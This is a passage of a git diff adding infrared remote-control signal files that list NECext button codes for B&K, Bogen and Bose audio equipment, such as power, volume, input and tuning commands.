00 00 +# +name: BK001_NUMBER_0 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3E 00 00 00 +# +name: BK001_Z +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 3F 00 00 00 +# +name: BK001_SAVE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 40 00 00 00 +# +name: BK001_SAT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4A 00 00 00 +# +name: BK001_PRESET+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4B 00 00 00 +# +name: BK001_PANORAMA+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 4E 00 00 00 +# +name: BK001_INFO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 53 00 00 00 +# +name: BK001_BASS- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 65 00 00 00 +# +name: BK001_GAME +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 6A 00 00 00 +# +name: BK001_MOVIE +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 72 00 00 00 +# +name: BK001_AM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 76 00 00 00 +# +name: BK001_TREBLE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 79 00 00 00 +# +name: BK001_EXIT +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 7D 00 00 00 +# +name: BK001_DIMENSION+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 81 00 00 00 +# +name: BK001_CINEMA +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8A 00 00 00 +# +name: BK001_FM +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 8E 00 00 00 +# +name: BK001_MONO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9A 00 00 00 +# +name: BK001_IMAGE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: 9E 00 00 00 +# +name: BK001_NEO:6 +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: AA 00 00 00 +# +name: BK001_MUSIC +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B2 00 00 00 +# +name: BK001_SLEEP +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: B3 00 00 00 +# +name: BK001_PRESET- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: C6 00 00 00 +# +name: BK001_SURROUND +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: CA 00 00 00 +# +name: BK001_PANORAMA- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: CE 00 00 00 +# +name: BK001_STEREO +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E2 00 00 00 +# +name: BK001_BASS+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: E5 00 00 00 +# +name: BK001_PRO_LOGIC_IIX +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EA 00 00 00 +# +name: BK001_IMAGE- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: EE 00 00 00 +# +name: BK001_TREBLE+ +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: F9 00 00 00 +# +name: BK001_DIMENSION- +type: parsed +protocol: NECext +address: 1B 4E 00 00 +command: FE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir new file mode 100644 index 000000000..f1f5f6422 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: BK002_POWER_OFF +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 01 00 00 00 +# +name: BK002_POWER_ON +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 02 00 00 00 +# +name: BK002_MUTE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 03 00 00 00 +# +name: BK002_V1 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 05 00 00 00 +# +name: BK002_TV +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 06 00 00 00 +# +name: BK002_V2 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 09 00 00 00 +# +name: BK002_TAPE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0B 00 00 00 +# +name: BK002_DVD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0D 00 00 00 +# +name: BK002_CD +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 0F 00 00 00 +# +name: BK002_TUNE- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1B 00 00 00 +# +name: BK002_TUNE+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1C 00 00 00 +# +name: BK002_BALANCE_LEFT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1F 00 00 00 +# +name: BK002_LEFT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 1F 00 00 00 +# +name: BK002_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 20 00 00 00 +# +name: BK002_RIGHT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 20 00 00 00 +# +name: BK002_NUMBER_+10 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 29 00 00 00 +# +name: BK002_DOWN +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2D 00 00 00 +# +name: BK002_UP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 2E 00 00 00 +# +name: BK002_ENTER +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 30 00 00 00 +# +name: BK002_NUMBER_1 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 31 00 00 00 +# +name: BK002_NUMBER_2 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 32 00 00 00 +# +name: BK002_NUMBER_3 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 33 00 00 00 +# +name: BK002_NUMBER_4 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 35 00 00 00 +# +name: BK002_NUMBER_5 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 36 00 00 00 +# +name: BK002_NUMBER_6 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 37 00 00 00 +# +name: BK002_NUMBER_7 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 39 00 00 00 +# +name: BK002_NUMBER_8 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3A 00 00 00 +# +name: BK002_NUMBER_9 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3B 00 00 00 +# +name: BK002_NUMBER_0 +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3E 00 00 00 +# +name: BK002_Z +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 3F 00 00 00 +# +name: BK002_SAVE +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 40 00 00 00 +# +name: BK002_SAT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 4A 00 00 00 +# +name: BK002_PRESET+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 4B 00 00 00 +# +name: BK002_VOLUME+ +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 4B 00 00 00 +# +name: BK002_AM +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 76 00 00 00 +# +name: BK002_EXIT +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 7D 00 00 00 +# +name: BK002_FM +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 8E 00 00 00 +# +name: BK002_MONO +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: 9A 00 00 00 +# +name: BK002_SLEEP +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: B3 00 00 00 +# +name: BK002_PRESET- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: C6 00 00 00 +# +name: BK002_VOLUME- +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: C6 00 00 00 +# +name: BK002_STEREO +type: parsed +protocol: NECext +address: 0B 4F 00 00 +command: E2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir new file mode 100644 index 000000000..5acb3f70e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: BK006_POWER_OFF +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 01 00 00 00 +# +name: BK006_POWER_ON +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 02 00 00 00 +# +name: BK006_MUTE +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 03 00 00 00 +# +name: BK006_V1 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 05 00 00 00 +# +name: BK006_TV +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 06 00 00 00 +# +name: BK006_V2 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 09 00 00 00 +# +name: BK006_TAPE +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 0B 00 00 00 +# +name: BK006_DVD +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 0D 00 00 00 +# +name: BK006_CD +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 0F 00 00 00 +# +name: BK006_TUNE- +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 1B 00 00 00 +# +name: BK006_TUNE+ +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 1C 00 00 00 +# +name: BK006_BALANCE_LEFT +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 1F 00 00 00 +# +name: BK006_LEFT +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 1F 00 00 00 +# +name: BK006_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 20 00 00 00 +# +name: BK006_RIGHT +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 20 00 00 00 +# +name: BK006_VOLUME- +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 23 00 00 00 +# +name: BK006_VOLUME+ +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 24 00 00 00 +# +name: BK006_NUMBER_+10 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 29 00 00 00 +# +name: BK006_DOWN +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 2D 00 00 00 +# +name: BK006_UP +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 2E 00 00 00 +# +name: BK006_ENTER +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 30 00 00 00 +# +name: BK006_NUMBER_1 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 31 00 00 00 +# +name: BK006_NUMBER_2 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 32 00 00 00 +# +name: BK006_NUMBER_3 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 33 00 00 00 +# +name: BK006_NUMBER_4 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 35 00 00 00 +# +name: BK006_NUMBER_5 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 36 00 00 00 +# +name: BK006_NUMBER_6 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 37 00 00 00 +# +name: BK006_NUMBER_7 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 39 00 00 00 +# +name: BK006_NUMBER_8 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 3A 00 00 00 +# +name: BK006_NUMBER_9 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 3B 00 00 00 +# +name: BK006_NUMBER_0 +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 3E 00 00 00 +# +name: BK006_Z +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 3F 00 00 00 +# +name: BK006_SAVE +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 40 00 00 00 +# +name: BK006_SAT +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 4A 00 00 00 +# +name: BK006_PRESET+ +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 4B 00 00 00 +# +name: BK006_AM +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 76 00 00 00 +# +name: BK006_EXIT +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 7D 00 00 00 +# +name: BK006_FM +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 8E 00 00 00 +# +name: BK006_MONO +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: 9A 00 00 00 +# +name: BK006_SLEEP +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: B3 00 00 00 +# +name: BK006_PRESET- +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: C6 00 00 00 +# +name: BK006_STEREO +type: parsed +protocol: NECext +address: 2B 4D 00 00 +command: E2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir new file mode 100644 index 000000000..fae2d2918 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: BK004_POWER_OFF +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 01 00 00 00 +# +name: BK004_POWER_ON +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 02 00 00 00 +# +name: BK004_MUTE +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 03 00 00 00 +# +name: BK004_V1 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 05 00 00 00 +# +name: BK004_TV +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 06 00 00 00 +# +name: BK004_V2 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 09 00 00 00 +# +name: BK004_TAPE +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 0B 00 00 00 +# +name: BK004_DVD +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 0D 00 00 00 +# +name: BK004_CD +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 0F 00 00 00 +# +name: BK004_TUNE- +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 1B 00 00 00 +# +name: BK004_TUNE+ +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 1C 00 00 00 +# +name: BK004_BALANCE_LEFT +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 1F 00 00 00 +# +name: BK004_LEFT +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 1F 00 00 00 +# +name: BK004_BALANCE_RIGHT +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 20 00 00 00 +# +name: BK004_RIGHT +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 20 00 00 00 +# +name: BK004_VOLUME- +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 23 00 00 00 +# +name: BK004_VOLUME+ +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 24 00 00 00 +# +name: BK004_NUMBER_+10 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 29 00 00 00 +# +name: BK004_DOWN +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 2D 00 00 00 +# +name: BK004_UP +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 2E 00 00 00 +# +name: BK004_ENTER +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 30 00 00 00 +# +name: BK004_NUMBER_1 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 31 00 00 00 +# +name: BK004_NUMBER_2 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 32 00 00 00 +# +name: BK004_NUMBER_3 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 33 00 00 00 +# +name: BK004_NUMBER_4 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 35 00 00 00 +# +name: BK004_NUMBER_5 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 36 00 00 00 +# +name: BK004_NUMBER_6 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 37 00 00 00 +# +name: BK004_NUMBER_7 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 39 00 00 00 +# +name: BK004_NUMBER_8 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 3A 00 00 00 +# +name: BK004_NUMBER_9 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 3B 00 00 00 +# +name: BK004_NUMBER_0 +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 3E 00 00 00 +# +name: BK004_Z +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 3F 00 00 00 +# +name: BK004_SAVE +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 40 00 00 00 +# +name: BK004_SAT +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 4A 00 00 00 +# +name: BK004_PRESET+ +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 4B 00 00 00 +# +name: BK004_AM +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 76 00 00 00 +# +name: BK004_EXIT +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 7D 00 00 00 +# +name: BK004_FM +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 8E 00 00 00 +# +name: BK004_MONO +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: 9A 00 00 00 +# +name: BK004_SLEEP +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: B3 00 00 00 +# +name: BK004_PRESET- +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: C6 00 00 00 +# +name: BK004_STEREO +type: parsed +protocol: NECext +address: 4B 4B 00 00 +command: E2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir new file mode 100644 index 000000000..4406f3efd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: MIC_A +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: MIC_B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: TREB +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: AUX_A +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: AUX_B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: AUX_C +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: BASS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: AMP_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: AMP_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: AMP_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: AUX_D +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: ENT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: VOL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/3-2-1/186,75.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/3-2-1/186,75.ir new file mode 100644 index 000000000..bf3c59e57 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/3-2-1/186,75.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 01 00 00 00 +# +name: VOLYM_- +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 02 00 00 00 +# +name: VOLYM_+ +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 03 00 00 00 +# +name: INPUT_FM-AM +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 06 00 00 00 +# +name: INPUT_TV +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 0E 00 00 00 +# +name: INPUT_AUX +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 0F 00 00 00 +# +name: INPUT_CBL-SAT +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 15 00 00 00 +# +name: CH/PRESET_- +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 18 00 00 00 +# +name: CH/PRESET_+ +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 19 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 1A 00 00 00 +# +name: CURSOR_NER/TUNE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 20 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 41 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 48 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 49 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 4C 00 00 00 +# +name: INPUT_CD-DVD +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 53 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 55 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 56 00 00 00 +# +name: SEEK_<< +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 57 00 00 00 +# +name: SEEK_>> +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 58 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 5C 00 00 00 +# +name: GER/SEARCH +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 60 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 64 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 70 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 80 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 90 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: 9D 00 00 00 +# +name: NSTER/SEARC +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: A0 00 00 00 +# +name: CURSOR_UPP/TUNE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: C0 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: D0 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: BA 4B 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir new file mode 100644 index 000000000..398bea22d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: 1_MUTE/UNMUTE_80_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 01 00 00 00 +# +name: 5_VOL_-_40_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 02 00 00 00 +# +name: 4_VOL_+_C0_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 03 00 00 00 +# +name: 7_AM_30_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 0C 00 00 00 +# +name: 12_VIDEO_2_B0_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 0D 00 00 00 +# +name: 11_VIDEO_1_70_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 0E 00 00 00 +# +name: 13_AUX_F0_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 0F 00 00 00 +# +name: 8_FM_08_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 10 00 00 00 +# +name: 23_SKIP_REV_18_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 18 00 00 00 +# +name: 24_SKIP_FWD_98_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 19 00 00 00 +# +name: 25_STOP_58_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 1A 00 00 00 +# +name: 26_AM/FM_PRESET_+_B8 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 1D 00 00 00 +# +name: 27_AM/FM_PRESET_-_F8 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 1F 00 00 00 +# +name: 29_RANDOM_DISK_52_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 4A 00 00 00 +# +name: 14_OFF_32_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 4C 00 00 00 +# +name: 15_TAPE_4A_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 52 00 00 00 +# +name: 16_CD_CA_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 53 00 00 00 +# +name: 28_DISK_-_2A_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 54 00 00 00 +# +name: 19_PLAY_AA_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 55 00 00 00 +# +name: 18_PAUSE_6A_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 56 00 00 00 +# +name: 20_FAST_REV_EA_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 57 00 00 00 +# +name: 21_FAST_FWD_1A_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 58 00 00 00 +# +name: 22_RANDOM_3A_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 5C 00 00 00 +# +name: 17_NEXT_DISK_BA_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: 5D 00 00 00 +# +name: 30_MUTE_ALL_FB_A1 +type: parsed +protocol: NECext +address: BA 85 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir b/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir new file mode 100644 index 000000000..257eb00df --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: 1_MUTE/UNMUTE_80_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 01 00 00 00 +# +name: 5_VOL_-_40_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 02 00 00 00 +# +name: 4_VOL_+_C0_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 03 00 00 00 +# +name: 6_AM/FM_60_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 06 00 00 00 +# +name: 7_AM_30_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 0C 00 00 00 +# +name: 12_VIDEO_2_B0_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 0D 00 00 00 +# +name: 11_VIDEO_1_70_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 0E 00 00 00 +# +name: 13_AUX_F0_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 0F 00 00 00 +# +name: 8_FM_08_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 10 00 00 00 +# +name: 23_SKIP_REV_18_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 18 00 00 00 +# +name: 24_SKIP_FWD_98_AB +type: parsed +protocol: NECext +address: BA D5 00 00 +command: 19 00 00 